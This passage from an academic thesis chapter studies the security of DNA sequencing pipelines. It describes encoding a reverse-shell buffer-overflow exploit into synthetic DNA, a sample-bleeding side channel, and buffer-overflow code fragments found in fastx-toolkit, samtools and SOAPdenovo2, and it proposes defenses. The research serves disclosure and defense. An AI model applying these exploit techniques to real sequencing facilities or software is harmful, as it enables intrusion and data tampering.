instruction pointer on the stack to point back into shellcode from Aleph One’s “Smashing

the Stack for Fun and Profit” [98]. We made minor modifications to port the shellcode to the

64-bit Linux syscall interface. To simplify exploit testing, we used a stripped-down version

of the vulnerable program that simply compressed a single DNA read into a fixed-size buffer.

Our shellcode was 55 bytes long, with another 39 bytes of padding needed for cache line

alignment and saved registers. We filled this space with NOPs and bogus saved register

values (0xdeadbeef). The resulting exploit, 94 bytes long, was encoded as 376 nucleotides.

Figure 2.2 shows this process.

We submitted this sequence to the IDT gBlocks synthesis service, which creates syn-

thetic gene fragments up to 3,000 bases long. Unfortunately, at this step we faced our first

challenges. Our sequence contained many issues that prevented IDT from being able to

synthesize our order:

• The NOP sled produced a repetitive sequence (GCAA) near the start of our sequence,

which contributed to more than 69% of the sequence. Repetitive sequences can cause

difficulties in sequencing and may cause the physical strand to fold in on itself or form
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other secondary structures because of DNA’s complementary nature.

• The negative offset JMP created a run of 13 consecutive Ts. Long runs of the same

base, called homopolymers, can be difficult to accurately synthesize. The gBlocks

service limits homopolymers to no more than nine As or Ts and five Gs or Cs.

• The repeated 0xdeadbeef bytes produced a long (40+ base pair) repetitive sequence.

• The NOP sled resulted in low GC-content near the beginning of the sequence. Cs and

Gs physically bind together more tightly than As and Ts and thus add stability to the

DNA strand. Typically, each 20-base window must have 25 to 75 percent GC-content.

The first and last 20 bases of a sequence are even more constrained since they must

have 40 to 60 percent GC-content to be synthesized.

• A 20 base pair window containing the 13 base pair homopolymer did not meet the

minimum GC-content threshold.

Another challenge we faced was the length of our exploit. Our Illumina NextSeq sequencer

is rated for a maximum of 300 base pair reads, while the Illumina MiSeq is rated for a

maximum of 600 base pair reads.

We addressed these challenges by making our target program and exploit designs more

sophisticated. To minimize the number of homopolymers introduced by large pointers and

offsets, we switched to targeting the 32-bit x86 instruction set architecture (ISA). We also

reduced the buffer size in our target program to minimize the required size of our sequence.

Since our ultimate goal was arbitrary remote code execution, we investigated swapping out

Aleph One’s simple shellcode, which simply spawns a local shell, with one that provided a

reverse shell over TCP. We explored the shell-storm.org archive for a suitable example;

however, even the most compact shellcode was too long to fit inside a sequence that could

be reasonably sequenced by the NextSeq sequencer.
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Our second exploit attempt uses an obscure feature of bash, which exposes virtual

/dev/tcp devices that create TCP/IP connections. We use this feature to redirect stdin and

stdout of /bin/sh to a TCP/IP socket, which connects back to our server. We combined

this tactic with a return-to-libc attack that calls system(), resulting in a 43-byte exploit,

shown in Figure 2.3. We used a short, fully qualified domain name we controlled as well as

a single digit port number to keep exploit length as short as possible. While we considered

obtaining a smaller FQDN (e.g., r.sh) to keep our exploit size as small as possible, we hy-

pothesized that we could successfully sequence our 176-base1 DNA strand with our Illumina

NextSeq despite exceeding its recommended single-ended read size.

Since the bulk of this exploit consists of lowercase letters, whose two most significant

bits were 01 in ASCII — or encoded as a nucleotide, C — we got an acceptable level of GC-

content throughout the exploit. The one exception was near the original port number — 3

(encoded as ATAT) — which we changed to 9 (encoded as ATGC) to maintain a minimum level

of GC-content. This sequence was accepted by the IDT gBlocks service with no errors or

warnings. IDT’s retail cost to synthesize of up to 500 base pairs was $89 USD.

As is standard for NGS runs, our sample was tagged and extended with a unique in-

dex (GCCAAT, in our case) and co-sequenced with other experiments. The sequencer was

configured to perform 177 non-index read cycles; this is the typical configuration used by

another research group that manages the sequencing machine and was sufficiently long to

contain the 176 base pair exploit sequence within a single read.

The sample was sequenced on all four lanes (physically separate portions) of the flow cell.

After demultiplexing by indices, there were four separate FASTQ files (one for each lane)

together containing 811,118 reads.

We processed the four FASTQ files separately, which is done to account for lane-specific

errors. We filtered out low-quality reads that did not identify one or more bases; these bases

appear as Ns (representing an unknown base) in the FASTQ file. We provided the filtered

1A bug in our DNA encoding program repeated the final byte, which unnecessarily extended our exploit
by four bases, but otherwise did not affect our results.
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FASTQ file from the first lane to our modified fqzcomp program, which immediately called

back to our server, giving us arbitrary remote code execution via a bash shell.

2.3.3 Exploit Reliability

The exploit was not robust to errors in sequencing; a single miscalled base would break the

exploit. In this experiment, 76.2% of the reads were sequenced with no error. Another issue

arose because DNA strands are randomly sequenced in the forward or reverse direction.

Reverse sequenced reads will have the reverse complement sequence of the exploit, which

is not functional code (see Section 2.4.2 for a possible solution to this problem). Of the

remaining, error free reads, 49.1% were sequenced in the forward direction. Therefore, 37.4%

of all reads contained working exploit code (i.e., in the forward direction with no sequencing

errors).

The modified fqzcomp program contained a buffer too small for the 177 base pair read

length, so it would overflow after processing the first read. Therefore, the first read in the

file must be the exploit sequence for the exploit to work. With reads randomly appearing

in a FASTQ file, we would expect the modified program to be exploited 37.4% of the time.

Assuming all four lane files were processed, an attacker would be successful at least once

84.5% of the time. In our case, only the file from the first lane was a successful exploit.

2.4 Challenges in Encoding Malicious DNA

Informed by our evaluation of the feasibility of manufacturing synthetic DNA capable of

exploiting computer systems, we next consider some challenges in crafting arbitrary exploits

against other programs and identify directions for future research. In particular, while it

is convenient to think of DNA as a simple storage mechanism, our results in Section 2.3

show that in practice there are several physical and computational constraints that limit the

design space of DNA-based exploits.



25

2.4.1 Physical Constraints

Any DNA-based exploit must be physically instantiable in DNA. Therefore, any difficulties

in the synthesis or amplification of DNA will constrain the sequences attacker can easily

synthesize.

Primers. As previously mentioned, it is necessary to amplify the exploit sequence to in-

crease its yield before sequencing. A simple way to do so is to use PCR, which requires a

pair of primers to initiate replication. These primers, single stranded DNA sequences usu-

ally 18-22 bases long, are complementary to the ends of the target sequence being amplified.

PCR primers used together must have similar melting point temperatures to maintain high

amplification efficiency. They must also have a high enough annealing temperature to bind

only to their complementary locations without mis-pairing to similar sequences. Other pa-

rameters also influence primer design such as the amplification region specificity desired, and

the GC-content of the primer regions to be amplified.

Primer designing utilities, like Primer3, take these parameters into account to design

optimal primer sequences [116]. Since the primers must be complementary to the ends of

the exploit sequence, any restrictions in their design will necessarily constrain the ends of

the exploit sequence.

Synthesis. DNA synthesis has its own physical constraints that vary across synthesis com-

panies. In Section 2.3.2 we described constraints imposed by IDT’s gBlock gene fragment

service, a relatively low cost synthesis method. They required 25 to 75 percent GC-content

per 20 base window, A/T and G/C runs no greater than 9 and 6 base pairs, respectively,

and sequences that avoided secondary structures (created when different portions of the same

strand are complementary to one another).

These synthesis constraints are common but not universal. Different synthesis methods

and services can vary in their precise requirements — for example, IDT’s custom gene service

can tolerate longer homopolymers than gBlock, which may make it easier to synthesize 64-bit
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addresses. In cases where the exploit cannot be synthesized by any de novo synthesis service,

it may be possible to synthesize sub-sequences and recombine them manually in a wet lab.

DNA synthesis services also follow strict guidelines to ensure that biologically malicious

sequences are not synthesized and spliced into organisms that potentially create pathogens,

toxins, or various other harmful products. The shipping, receiving, or purchase of all syn-

thesized sequences must follow guidelines including, but not limited to, those described in

the current U.S. Department of Health and Human Services (HHS) and U.S. Department of

Agriculture (USDA) Select Agents and Toxins regulations [18, 19, 20].

2.4.2 Sequencing Randomness

Being a biochemical process, DNA sequencing is inherently noisy and random; long DNA

strands are randomly cleaved into smaller ones and strands are sequenced in no particular

order. This randomness makes DNA-based exploits probabilistic in nature, as discussed in

Section 2.4.2. Robustness against random variations depends on factors like the vulnerabil-

ity type and what stage in the pipeline is attacked. In general, analysis further along the

sequencing pipeline works with more structured data, which will reduce the initial random-

ness from the sequencer. For example, variant calling programs return processed data in the

same order as the reference sequence regardless of the initial read order.

Another source of randomness is that reads will be sequenced in both the forward and

reverse direction, which causes problems because most exploit sequences will be functional

only if read in one direction. One solution is to synthesize strands that generate the same

reads when sequenced from either end. These can be created by concatenating the forward

exploit sequence to its reverse complement (e.g., ACCTG becomes ACCTGCAGGT). Since

DNA is always read from 5′ to 3′, the same read will appear, regardless of whether the DNA

was sequenced in the forward or reverse direction.

These palindrome like sequences are difficult to synthesize directly because the two halves

will bind to each other and create secondary structures. Instead, the two halves could be

synthesized separately and conjoined manually in a wet lab.
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2.4.3 Encoding Exploits

Exploits typically contain up to three components: pointers, either to functions or data, in-

structions in the target instruction set architecture (ISA), and an encoded and/or obfuscated

payload. DNA-based exploits introduce unique constraints on each of these components.

Pointers. Bioinformatics programs vary in how they encode DNA data. Some perform a

straightforward mapping, encoding each base as two bits and packing these bits together,

like our target program in Section 2.3. However, sequences often have non-standard bases,

such as Ns to encode unknown nucelotides or Rs to indicate either an A or G. To support

these non-standard bases, some tools use four-bit encodings, or even 8-bit ASCII. Since we

can synthesize only standard bases, these alternative encodings will constrain the pointers

that we can encode.

Another issue concerns sequencing accuracy and how that will affect the resulting se-

quence of pointers. Some pointers, such as those to libc or ROP gadgets, are intolerant of

any errors. Others, such as pointers to attacker-controlled buffers, can be made somewhat

tolerant to errors in the least-significant bits — for example, it could point to a large NOP

sled.

Pointers often contain long runs of identical bits and therefore generate homopolymers.

For example, without ASLR enabled, 64-bit Linux places user stacks at 0x00007fffffffffff,

which contains a run of 47 consecutive 1s. Using two-bit encoding, this results in a homopoly-

mer of 23 bases. As previously described, a solution is to use a synthesis service more tolerant

to homopolymers.

Code. Executable sequences of target ISA instructions can encode malicious operations

more compactly than equivalent ROP chains and are easier to develop, which makes them

desirable to attackers. However, encoding ISA instructions in DNA presents a number of

challenges.

As with pointers, the target program’s DNA encoding may restrict the bytes that can be
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represented. Depending on the encoding and ISA, this could also limit the set of instructions

that are available.

The regular structure of most ISAs produces repeated base sequences when encoded

into DNA, which again, are difficult to synthesize. Semantically-equivalent instructions and

semantic NOPs can be used to break up repetitive sequences to make exploits easier to

synthesize.

Another issue to consider is read length. All but the most trivial exploits exceed the

read length of most high-throughput sequencers, and thus, the exploit will be randomly

cleaved. Depending on which part of the pipeline is being exploited (i.e., whether the target

program processes raw reads or fully aligned sequences), this could decode in the middle

of a multi-byte instruction, or even in the middle of a byte. Therefore, for robustness, an

exploit should encode instructions that are tolerant to such shifts. Prior work demonstrates

techniques to generate these types of resynchronizing instruction sequences [79]. Long read

sequencers may mitigate these challenges in the future but are currently less accurate than

high-throughput sequencers.

Finally, we must consider the effects of sequencing errors. One way to address these errors

is to encode redundant instructions that become semantic NOPs with random bit flips.

Payloads. To make payloads more robust to errors introduced by synthesis and sequencing,

one may fortify payloads with error-correcting codes. Compression may be used to offset the

increase in payload size and cause the sequence to be more equally distributed across the

four nucleotides, avoiding issues of too much or too little GC-content.

2.5 Side Channel: Sample Bleeding

In this section, I describe our first experiences with a multiplexing side-channel vulnerability

in next-generation sequencers. This attack vector is explored in much greater detail in

Chapter 3.

It is common to multiplex samples in NGS runs on modern Illumina sequencers to make
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better use of sequencing resources and increase throughput. This is accomplished by adding

a 6-8 nucleotide index to each sample before sequencing, which is later used to demultiplex

the samples. However, the demultiplexing process is not perfect. The sequence of each read

is derived by sequencing a cluster of DNA on a flow cell. If clusters overlap, are seeded from

multiple distinct strands, or if errors exist in sequencing the index, then the sequence of a

cluster may be misassigned to an incorrect index [54]. A read assigned incorrectly will be

associated with either an unused index and discarded or assigned to the index of a different

sample. In the latter case, it is called sample bleeding or index cross-talk.

Illumina reports that sample bleeding occurs at a rate of 0.1%-0.2% with the type of flow

cell used in this study [88], though this continues to a topic of discussion in the sequencing

community. The amount of sample bleeding depends on many factors, like index design,

cluster density, sample diversity, and the underlying sequencing technology [89, 99, 110].

This situation is known to create a problem with the detection of rare genetic variants, like

genetic markers for cancer [70].

The rise in outsourced sequencing at external facilities, which multiplex samples from dif-

ferent, untrusted sources creates opportunities for side channel attacks that are — to date —

previously unconsidered by the genomic sciences. Since sample bleeding is bidirectional, an

attacker could gather reads from other indices to reveal sensitive information or send data

to other indices to corrupt or modify their results.

Evaluation of Data Leakage. We can leverage our sequencing results from Section 2.3

to better understand the security impact and amount of data leakage caused by sample

bleeding. When the exploit was sequenced, it was multiplexed with seven other samples.

One of these samples contained 1.5 million unique sequences, each 150 base pairs long; this

sample is denoted as the target sample. With permission, we obtained the FASTQ file

associated with the target sample’s index after the sequences were demultiplexed. Using the

two FASTQ files, one from the target sample and the other from the exploit, we sought a

rough estimate of side channel effects. We note that all samples were sequenced using 6
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nucleotide indices, so the sample bleeding rate may be higher than other configurations, like

8 nucleotide indices.

We assume that only the exploit sequence is attacker controlled and that attackers receive

only demultiplexed results from the index of the exploit sample. To analyze their ability to

pull information from other indices, we examined misassigned reads associated with the

target sample in the exploit FASTQ file. There were 112 reads that aligned to sequences

that came from the target sample. Two of them originated from the same sequence, so a

total of 111 unique, 150 base pair sequences were leaked into the exploit FASTQ file. The

quality of these reads was high; 68 of them were a perfect match (60.7%), and 103 had

an edit distance of less than 2 (92.0%). Of the 235 million bases represented in the target

sample, 16,521 were recoverable in the exploit FASTQ file — for context, the human genome

contains around 3.2 billion bases — and, in total, 0.007% of the data was recoverable from

the target sample.

If we now consider the sample bleeding side channel in the reverse direction, an attacker

could modify the results that appear in other demultiplexed samples. The exploit sample

contains many copies of the same short sequence. Thus, any sample bleeding from the exploit

sample into the target sample resembles an attacker trying to inject a single sequence into

the target FASTQ file. The exploit sequence was found 37 times in the target FASTQ file

(30 times with no errors).

Hypothetical Attacks. Now that we have established sample bleeding as a source of

information leakage, we propose attacks that leverage this side channel.

An attacker could use sample bleeding to inject specific DNA sequence reads into concur-

rently sequenced samples. These reads could contain malicious code or be used to confuse

subsequent downstream analysis (e.g., variant calling).

Any reads which bleed from other samples into the attacker’s sample could reveal sensitive

information, like the identity of those samples. Even low levels of only a few reads could

identify the species of a sample, which could be commercially sensitive in domains like drug
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discovery.

Another risk of multiplexing, similar to sample bleeding, is that an attacker may be

able to sabotage an entire sequencing run. Most next-generation sequencers are calibrated

to sequence biological DNA; they expect to see close to a 1:1:1:1 ratio of A:C:G:T. If one

of the samples has low-diversity (a homogenous DNA sample), the read quality will suffer

for all samples, and in extreme cases, the run could fail altogether. This could be induced

with a high-concentration of the same sequence. Previous experiments by this group showed

that if identical sequences compose more than roughly 25% of the total DNA, run quality

deteriorated.

Summary. The read errors we encountered while developing the exploit in Section 2.3

caused us to reflect upon their origin, meaning, and implications. While the genome sci-

ences community has measured rough estimates of sample bleeding, ours may be the first

research to consider bleedover from an adversarial perspective and ask, for example, how

much information is leaked and whether it is possible to push specific data into another

party’s sequencing files.

2.6 Software Security Analysis

Having evaluated the potential security threats for maliciously crafted synthetic DNA in

Sections 2.3-2.4, as well as information leakage channels in Section 2.5, we now evaluate the

software security practices of the larger bioinformatics pipeline. Specifically, we evaluate the

security practices of common NGS programs to better understand the risks of DNA-based

or other exploits in the real analysis pipeline. Although used broadly by biology researchers,

many of these programs are written by small research groups and thus have likely not been

subjected to serious adversarial pressure. We therefore hypothesize that the rate of serious

vulnerabilities will be higher here than in more mature software (e.g., Internet services).
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Program Selection. Many commonly used, open source analysis programs are written in

unsafe languages, like C and C++, known to be vulnerable to buffer overflow attacks. To

quantify the risk of buffer overflows in NGS analysis programs, we evaluated 13 programs

that operate at different stages of the analysis pipeline (see Table 2.1). To generate the list

of programs in a systematic manner, we choose 6 analysis categories: (1) preprocessing, (2)

alignment, (3) de novo assembly, (4) alignment processing, (5) RNA-seq, and (6) ChiP-seq.

We required at least one program from each category. We searched for programs that were

open source and written in either C or C++. To ensure that all of these programs were

actively used by biologists, we required that they be available as packages in the Galaxy

bioinformatics workflow system (a popular web-based analysis platform) or be part of a major

effort, like the ENCODE project or the assembly of the great panda genome [43, 115, 78].

Many of them, including bwa, bowtie2, and samtools, come installed on current Illumina

sequencers. The one exception was the fqzcomp program, which we included because we used

it earlier in Section 2.3. We shared our findings about these programs with their maintainers

in the hope of raising their security mindfulness. Our discussions with them confirmed that

many had not considered the security of their software.

Analysis Approach. We evaluated the risk of buffer overflow attacks in these programs

by using the recommendations of the OWSAP buffer overflow review guide [101]. It suggests

removing insecure C library function calls and checking static buffers and print format strings.

To quantify this, we counted the number of lines containing commonly misused, insecure

function calls (strcat, strcpy, sprintf, vsprintf, gets, and scanf) and static buffer

declarations. We derived these counts using the clang-query tool, which searches the abstract

syntax tree generated by the clang C and C++ compiler. We analyzed only those files

compiled using the default build. Function calls and buffer declarations in headers were also

counted if they were included in code files, but they were ignored if they were in standard

library headers (like the C standard lib or Boost library). For comparison, we also computed

these same metrics for 10 control programs. For these, we chose programs that were Internet
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connected and likely to have already received adversarial pressure. Again, we included

programs from 7 different categories and only considered open source programs written in C

or C++.

Analysis Results. The most common insecure functions in both the NGS and control

programs were strcat, strcpy, and sprintf. The others were used infrequently, and scanf

was not present in any program. The gets function appeared once in two NGS programs; this

is notable because gets is an especially insecure function that cannot do bounds checking,

which is why it was removed from the 2011 C standard [45]. Overall, there was more

insecure function usage in the NGS programs (Figure 2.4), with an average of 2.005 insecure

function calls present per 1000 lines of code (sd=2.299) but only 0.185 in the control programs

(sd=0.304) — an 11-fold difference. Using a two-tailed t-test, this difference was found to

be statistically significant (p=0.027).

We hypothesized that there may be more static buffer declarations in the NGS programs

due to poor coding practices, but there did not appear to be a difference. The NGS pro-

grams had an average of 6.729 buffer declarations per 1000 lines of code (sd=5.925), and

the control programs had a similar average of 7.312 (sd=4.674). This difference was not

statistically significant (p=0.809). These results are only heuristics for buggy code, but the

high prevalence of insecure function calls in NGS programs provides evidence that the NGS

analysis pipeline does not adhere to security best practices.

A Deeper Dive. To delve deeper into the security of the NGS pipeline, we next looked

for vulnerabilities in the 13 programs. To identify them, we compiled each NGS program

with the HP Fortify static code analyzer, which generates reports that include possible

vulnerabilities [39]. We also manually inspected code for the insecure C library calls we noted

previously. We quickly identified buffer overflow vulnerabilities in three of the NGS programs

(fastx-toolkit, samtools, and SOAPdenovo2) and designed inputs that targeted these

vulnerabilities to overflow buffers and crash programs (Figure 2.5). These vulnerabilities are
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Figure 2.4: A box plot with the average number of insecure function calls (left) and number
of static buffer declarations (right) in each program. Programs are separated into their
corresponding type (NGS or control) and all counts are normalized (count / 1000 lines of
code).
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described below:

• fastx-toolkit. This utility generates aggregate statistics on FASTQ files. It places

aggregate results in a static array that is 2,000 bases long, and any reads longer than

this will overflow the buffer. A check ensures that the read length does not exceed a

limit; however, an incorrect limit of 25,000 was used by mistake. Fittingly, a comment

next to the overflowable, static buffer says, “that’s pretty arbitrary... should be enough

for now.”

• samtools. This program post-processes DNA read alignment files. In code that parses

the header string of an alignment file (SAM file), it places the parsed header into

the same buffer as the original unparsed header, which normally shrinks the result.

However, if the header is malformed, then the parsed header grows larger than the

original and will overflow the buffer.

• SOAPdenovo2. This large, de novo genome assembler parses reads in a FASTQ file and

writes them into a static buffer that is 5,000 characters long. Any reads longer than

5,000 bases will overflow the buffer.

Given that the security risks of buffer overflow vulnerabilities are well known, we did not

consider it within the scope of this paper to convert any of these vulnerabilities into working

exploits. The aim here, to identify these three vulnerabilities and the construction of the

crashing inputs, was straightforward. Thus, we suspect that these types of vulnerabilities

are common.

These results have implications beyond direct DNA-based exploits, which we return to in

Section 2.7. Foreshadowing that discussion, NGS data is commonly shared in large biological

data repositories, making them a possible vector for spreading malicious files. There are also

publicly available, remote servers, controlled and managed by 3rd parties, where users can

upload and process data using these or similar programs.
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Ethics and Disclosure. Numerous software developers and users are involved in the

bioinformatics pipeline at large. Our findings are not specific to any single entity in this

space, but rather apply broadly, across the industry as a whole. We have notified the

authors of potential issues to the specific software packages that we analyzed, but we stress

that many other software packages likely share similar types of vulnerabilities.

#define MAX_SEQ_LINE_LENGTH (25000)

...

#define MAX_SEQUENCE_LENGTH (2000) //that's pretty arbitrary... should be enough for now

...

struct cycle_data cycles[MAX_SEQUENCE_LENGTH];

...

while ( fastx_read_next_record(&fastx) ) {

    if (strlen(fastx.nucleotides) >= MAX_SEQ_LINE_LENGTH)        

        errx(1, "Internal error: sequence too long (on line %llu). Hard-coded max. length is %d",

             fastx.input_line_number, MAX_SEQ_LINE_LENGTH ) ;

    //for each base in the sequence...

    for (index=0; index<strlen(fastx.nucleotides); index++) {    

        ....

        cycles[index].nucleotide[ALL].count += reads_count; // total counts

        cycles[index].nucleotide[nuc_index].count += reads_count ; //per-nucleotide counts

        ....

    }

// header->text is a string with the entire header

char * newtext = header->text;

...

// This is parsed incorrectly if the header 

// included multiple LN:<num> in the same line

sprintf(len_buf, "LN:%d", header->target_len[tid]);

strcat(newtext, len_buf);

int gLineLen = 5000;

...

int lineLen = gLineLen;

char tmpStr[lineLen];

char * str; // = tempStr

...

memcpy ( str, &buf[p + 1], m - p - 1 );

Figure 2.5: Code fragments with buffer overflow vulnerabilities in three different NGS pro-
grams: fastx-toolkit (top), samtools (bottom left), and SOAPdenovo2 (bottom right).
Text in red highlights buggy code, and text in green denotes comments we included for
clarification.

2.7 Discussion

Our results, and particularly our discovery that bioinformatics software packages do not

seem to be written with adversaries in mind, suggest that the bioinformatics pipeline has

to date not received significant adversarial pressure. We thus consider it critical — both as

a research contribution and as a contribution to the broader community — to reflect upon
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a threat model for the next-gen sequencing pipeline. A concrete threat model can serve

as a guideline for the community, encouraging the development of defenses and mitigation

strategies as well as the investigation of future exploit vectors. We begin with a discussion

on the future technological and market trends relevant for DNA sequencing, followed by a

taxonomy of threats and directions for future defenses.

2.7.1 Future Trends

DNA Sequencing. The decreasing cost, the increasing throughput, and the broader de-

ployments of DNA sequencing capabilities will expand the opportunities and motivations

for attackers to target this pipeline, including important domains like forensics, medicine,

and agriculture. Fundamental aspects of sequencing technology itself, such as the improving

accuracy and ongoing development of long read sequencers, e.g., Oxford Nanopore Technolo-

gies, will radically change the structure of sequencing data.

DNA Synthesis. Another quickly improving technology is de novo DNA synthesis, which

continues to get faster and cheaper. With novel uses of synthetically produced DNA, like

DNA for data storage [23, 48, 11, 100], these improvements are expected to continue.

Wet Lab as a Service. There is increasing access to wet lab techniques and services by

non-experts. New companies exist to provide customers with remote control of a wet lab

through a computer (even offering wet lab “APIs”) [113]. As these grow more prevalent,

they will enable more actors, even those with scant laboratory experience, to attack the

DNA sequencing pipeline.

Storage and Analysis. As DNA sequencing gets cheaper, the business focus will likely

shift to keeping, analyzing and making use of genomic information in cloud services (e.g.,

Illumina’s BaseSpace, Microsoft Genomics). Tools already exist to help scientists who have

little programming or data science experience analyze DNA sequencing data. Notable exam-
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ples include the Galaxy web analysis platform and the Broad Institute’s cloud based variant

calling workflow [43, 12].

2.7.2 Attack Surfaces

This section covers the attack surfaces that are present in the end-to-end DNA sequencing

pipeline. Our exploration of this threat model focuses on exploits and is complementary to

existing efforts that protect privacy in genetic computations [109, 120, 40].

Physical DNA Exploits. Sections 2.3-2.4 discussed how DNA strands themselves could

be used as a vector for injecting code and data into the sequencing pipeline. To execute

such an attack, an attacker could target any facility that accepts samples for sequencing and

processing.

Outsourced sequencing facilities are common because next-gen sequencing machines are

expensive and require expertise to operate. Many facilities even provide bioinformatics ser-

vices, which means that it is not just the sequencing machine but downstream analysis

utilities that could be targeted by a DNA-based attack vector.

Another method of DNA injection is to contaminate a biological tissue sample (e.g.,

blood, hair, and saliva) with malicious DNA that the attacker knows will be sequenced. For

example, they could send a contaminated saliva sample to a personalized genomics testing

company, like Sure Genomics [111]. This method creates additional challenges because the

malicious DNA sample would have to survive genomic DNA extraction and sample prepara-

tion, including DNA purification, quality controls, and library preparation.

DNA data storage services are an indirect means of DNA-based code injection; the at-

tacker would provide digital data to be written that would be encoded and synthesized into

DNA and later sequenced when read.

Multiplex Sequencing. To achieve high throughput, sequencers will continue to support

high levels of sample multiplexing. However, as discussed in Section 2.5, sample bleeding
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gives a side channel to attackers that can be used to influence any concurrently sequenced

samples. Therefore, it is important to consider the sources of all DNA samples when se-

quencing.

Analysis Services. Third party analysis service could be targeted if they process attacker

controlled data with vulnerable software. Attackers could upload malicious files directly for

processing (e.g., Galaxy) or send malicious data from biological instruments, like a DNA se-

quencer that is integrated with a cloud service (e.g., Illumina’s Basespace Hub). Afterwards,

the attacker would direct the analysis service to process the malicious files using a vulnerable

workflow.

Shared Databases. Biological data generally, and NGS results specifically, are commonly

shared and analyzed by different research teams. To facilitate this sharing, public repositories

of NGS data are available for download. The NIH, the European Bioinformatics Institute,

and the DNA Database of Japan maintain a large combined repository, called the Sequence

Read Archive (SRA), which contains nearly 10 quadrillion bases of DNA [108]. Anyone who

creates an account can submit sequencing files, which makes this an easy attack vector.

Direct sharing of biological data, including DNA sequences, could also occur directly

between collaborators, e.g., via email. An adversary could also explore direct sharing as a

potential attack vector.

2.7.3 Defenses

In this section we categorize possible defenses to help mitigate the attacks described above.

Follow Best Practices for Secure Software. Our analysis suggests that the bioin-

formatics software community has not received significant adversarial pressure. Hence, its

software is in general not hardened against attack. Our first recommendation is therefore

to encourage the widespread adoption of standard software security best practices like input
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sanitization, the use of memory safe languages or bounds checking at buffers, and regular

security audits.

Patching is challenging because the analysis software is quite decentralized (packages are

often located in individually managed repositories) and not regularly updated. One solution

is to use a centralized repository to manage updates and deliver patches, similar to the APT

package manager. Packages could also be signed to ensure their authenticity. In the case

of file sharing, the sequencing files themselves could be signed by verified research groups

before uploading them to centralized databases.

Secure Samples. In some domains, like forensics, attackers could be highly motivated to

disrupt sequencing or cause mis-identification. In these cases, the biological sample should be

tightly monitored from collection through sequencing. However, physical control of individual

samples may not be sufficient to stop contamination because of sample bleeding, which we

discuss below.

Minimize Sample Bleeding. Sample bleeding may make concurrently sequencing sam-

ples from untrusted sources risky. A simple solution is to enforce, by policy, that the sources

of all samples are verified before they are sequenced together or else they are sequenced

separately. A better solution is to reduce or detect sample bleeding with technical means.

The overall rate of bleeding can be reduced by preparing samples with two multiplex in-

dices instead of one [88, 70] and by modifying the default cluster identification algorithm [89].

Another approach is to detect misassigned reads by cross-aligning samples against one an-

other, and any found could be removed by the sequencer before returning the demultiplexed

files. We encourage future research to minimize this side channel.

Detect Shellcode before Synthesis. Regulations already exist to prevent the synthesis

of a known, dangerous DNA sequence. For example, DNA synthesizers are required to verify

that it is not synthesizing biological viruses, like chicken pox [18, 19, 20]. While this approach
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works well when detecting known dangerous sequences, it could prove difficult to detect

arbitrary DNA shellcode because general shellcode detection has proved difficult in other

domains. For example, shellcode can be converted into syntactically correct English [84].

However, we still encourage researchers to find creative strategies that detect executable

code in DNA.

2.8 Conclusions

Significant advances in DNA synthesis, DNA sequencing, and genomic sciences derive from

tools and techniques not previously scrutinized for security robustness. We conducted a

broad security analysis of the DNA processing pipeline, including a study of the feasibility of

synthesizing DNA capable of compromising a computer program (Sections 2.3-2.4), a study of

information leakage and information injection side-channels during the sequencing process

(Section 2.5), and a study of the general software security practices in DNA processing

software (Section 2.6). To our knowledge, ours is the first effort to broadly consider this

pipeline, and the first to demonstrate a DNA-based exploit. Informed by our results, we

presented lessons for this field, which has yet to receive adversarial pressure. We strongly

encourage additional research before such adversarial pressure manifests.



42

Category Program Version Lines of Code
Normalized Count (Total Count)

strcat strcpy sprintf vsprintf gets static buffers

NGS Analysis

Preprocessing
fastx-toolkit 0.0.14 3,189 0.314 (1) 0.314 (1) 0 (0) 0 (0) 0 (0) 14.425 (46)

fqzcomp 4.6 2,066 0 (0) 0 (0) 0 (0) 0 (0) 0 (0) 23.233 (48)

Alignment

bowtie2 2.2.9 58,377 0 (0) 0 (0) 0 (0) 0 (0) 0.017 (1) 3.272 (191)

bwa 0.7.15 13,496 1.926 (26) 2.223 (30) 0.222 (3) 0 (0) 0 (0) 10.966 (148)

hisat2 2.0.5 80,930 0 (0) 0 (0) 0 (0) 0 (0) 0.012 (1) 2.508 (203)

STAR 2.5.2b 14,760 0 (0) 0.136 (2) 0.271 (4) 0 (0) 0 (0) 3.388 (50)

De novo assembly

MIRA 4.0.2 69,853 0.014 (1) 0.115 (8) 0.115 (8) 0 (0) 0 (0) 1.904 (133)

velvet 1.2.10 22,794 1.228 (28) 2.106 (48) 1.185 (27) 0 (0) 0 (0) 2.588 (59)

SOAPdenovo2 2.04-r240 37,010 0 (0) 0.351 (13) 3.161 (117) 0 (0) 0 (0) 4.945 (183)

Alignment processing
samtools 1.5 56,979 0.351 (20) 0.228 (13) 0.509 (29) 0 (0) 0 (0) 3.247 (185)

bcftools 1.5 77,707 0.090 (7) 0.283 (22) 0.360 (28) 0 (0) 0 (0) 4.375 (340)

RNA-seq cufflinks 2.2.1 68,539 0.058 (4) 0.817 (56) 1.984 (136) 0.029 (2) 0 (0) 4.844 (332)

ChIP-seq PeakSeq 1.3 6,806 0.147 (1) 3.967 (27) 3.526 (24) 0 (0) 0 (0) 7.787 (53)

Control Programs

Web server

nginx 1.11.19 80,905 0 (0) 0 (0) 0 (0) 0 (0) 0 (0) 3.411 (276)

httpd 2.4.25 173,376 0.04 (7) 0.19 (33) 0.052 (9) 0 (0) 0 (0) 3.611 (626)

php 7.1.1 637,921 0.003 (2) 0.022 (14) 0.011 (7) 0.002 (1) 0 (0) 5.632 (3593)

DNS server bind 9.9.10b1 255,708 0.055 (14) 0.223 (57) 0.395 (101) 0.004 (1) 0 (0) 7.426 (1899)

Remote shell
openssh-portable 7.4p1 89,403 0 (0) 0 (0) 0 (0) 0 (0) 0 (0) 6.264 (560)

mosh 1.2.6 12,228 0 (0) 0 (0) 0 (0) 0 (0) 0 (0) 7.933 (97)

File copying rsync 3.1.2 39,446 0 (0) 0 (0) 0 (0) 0 (0) 0 (0) 6.718 (265)

FTP vsftpd 3.0.3 16,414 0 (0) 0 (0) 0 (0) 0 (0) 0 (0) 2.437 (40)

Database postgres 9.6.1 784,516 0.088 (69) 0.312 (245) 0.454 (356) 0 (0) 0 (0) 9.964 (7817)

Packet processing tcpdump 4.9.0 73,711 0 (0) 0 (0) 0 (0) 0 (0) 0 (0) 19.726 (1454)

Table 2.1: Insecure buffer overflow signatures for NGS analysis (top half) and control pro-
grams (bottom half). The counts reported are the number of lines containing the corre-
sponding insecure function call or static buffer declaration. Each count is normalized by the
number of appearances per 1000 lines of code. scanf is not included because it was not
present in any program.
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Chapter 3

EXPLOITING SIDE-CHANNEL VULNERABILITIES IN
